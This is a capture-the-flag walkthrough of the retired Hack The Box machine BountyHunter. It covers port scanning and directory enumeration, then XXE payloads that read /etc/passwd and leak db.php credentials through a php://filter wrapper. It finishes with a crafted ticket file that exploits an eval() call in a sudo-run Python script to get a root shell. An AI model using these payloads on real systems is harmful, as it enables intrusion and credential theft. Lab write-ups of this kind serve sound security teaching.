This post documents the complete walkthrough of BountyHunter, a retired vulnerable VM created by ejedev, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

BountyHunter is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 10.10.11.100 --rate=500
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-07-26 03:44:42 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.11.100
Discovered open port 80/tcp on 10.10.11.100

Nothing unusual. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p22,80 -A --reason 10.10.11.100 -oN nmap.txt
...
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters

Looks like we only have http to explore. Here’s what it looks like.

Directory/File Enumeration

Let’s see what gobuster and SecLists offer in terms of directory/file enumeration.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -e -t 20 -x php -u
http://10.10.11.100/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.100/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/07/26 04:14:46 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.11.100/css                  (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]
http://10.10.11.100/assets               (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]
http://10.10.11.100/db.php               (Status: 200) [Size: 0]
http://10.10.11.100/resources            (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/]
http://10.10.11.100/index.php            (Status: 200) [Size: 25169]
http://10.10.11.100/portal.php           (Status: 200) [Size: 125]
http://10.10.11.100/js                   (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]
http://10.10.11.100/server-status        (Status: 403) [Size: 277]

===============================================================
2021/07/26 04:15:08 Finished
===============================================================

Bounty Report System - Beta

Navigating to portal.php will lead you to log_submit.php.

This page loads an interesting JS.

bountylog.js
function returnSecret(data) {
	return Promise.resolve($.ajax({
            type: "POST",
            data: {"data":data},
            url: "tracker_diRbPr00f314.php"
            }));
}

async function bountySubmit() {
	try {
		var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>${$('#exploitTitle').val()}</title>
		<cwe>${$('#cwe').val()}</cwe>
		<cvss>${$('#cvss').val()}</cvss>
		<reward>${$('#reward').val()}</reward>
		</bugreport>`
		let data = await returnSecret(btoa(xml));
  		$("#return").html(data)
	}
	catch(error) {
		console.log('Error:', error);
	}
}

The following is a empty POST request captured in Burp.

The data parameter carries the base64-encoding of the following XML.

<?xml  version="1.0" encoding="ISO-8859-1"?>
<bugreport>
  <title></title>
  <cwe></cwe>
  <cvss></cvss>
  <reward></reward>
</bugreport>

XML External Entity

Since we can control what gets POST‘d to tracker_diRbPr00f314.php with Burp, we might be able to tease out a XXE vulnerability with the following payload.

xxe.txt
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<bugreport>
<title>&xxe;</title>
<cwe>CWE-20</cwe>
<cvss>10.0</cvss>
<reward>1</reward>
</bugreport>

Let’s base64-encode and urlencode it.

This is what you get.

Now that we’ve verified that there’s a XXE vulnerability, let’s up the ante in terms of XXE payload.

Foothold

Let’s see if we can get credentials in db.php obtained from an earlier enumeration with the following payload.

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php" >]>
<bugreport>
<title>&xxe;</title>
<cwe>CWE-20</cwe>
<cvss>10.0</cvss>
<reward>1</reward>
</bugreport>

The base64-encoded output is decoded to the following.

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

Let’s see if we can log in to development’s SSH account with password (m19RoAU0hP41A1sTsq6K).

Bingo. The file user.txt is in developement’s home directory.

Privilege Escalation

During enumeration of development’s account, I notice that development is able to sudo without password the following.

ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

This is easy to exploit.

  1. Create a file ending with .md

  2. The first line MUST start with “# Skytrain Inc

  3. The second line MUST start with “## Ticket to XXX”, where XXX can be any string

  4. The third line MUST start with “__Ticket Code:__

  5. The last line MUST start with “**

  6. Finally, in the last line after “**”, the number before + must produce a remainder of 4 when divided by 7, e.g. 4, 11, 18, etc. in order to exploit the built-in function eval().

I humbly suggest the following exploit to destination fucked.

evil.md
# Skytrain Inc
## Ticket to fucked
__Ticket Code:__
**4+1,__import__('os').system('/bin/bash')

Getting root.txt is trivial with a root shell.

:dancer: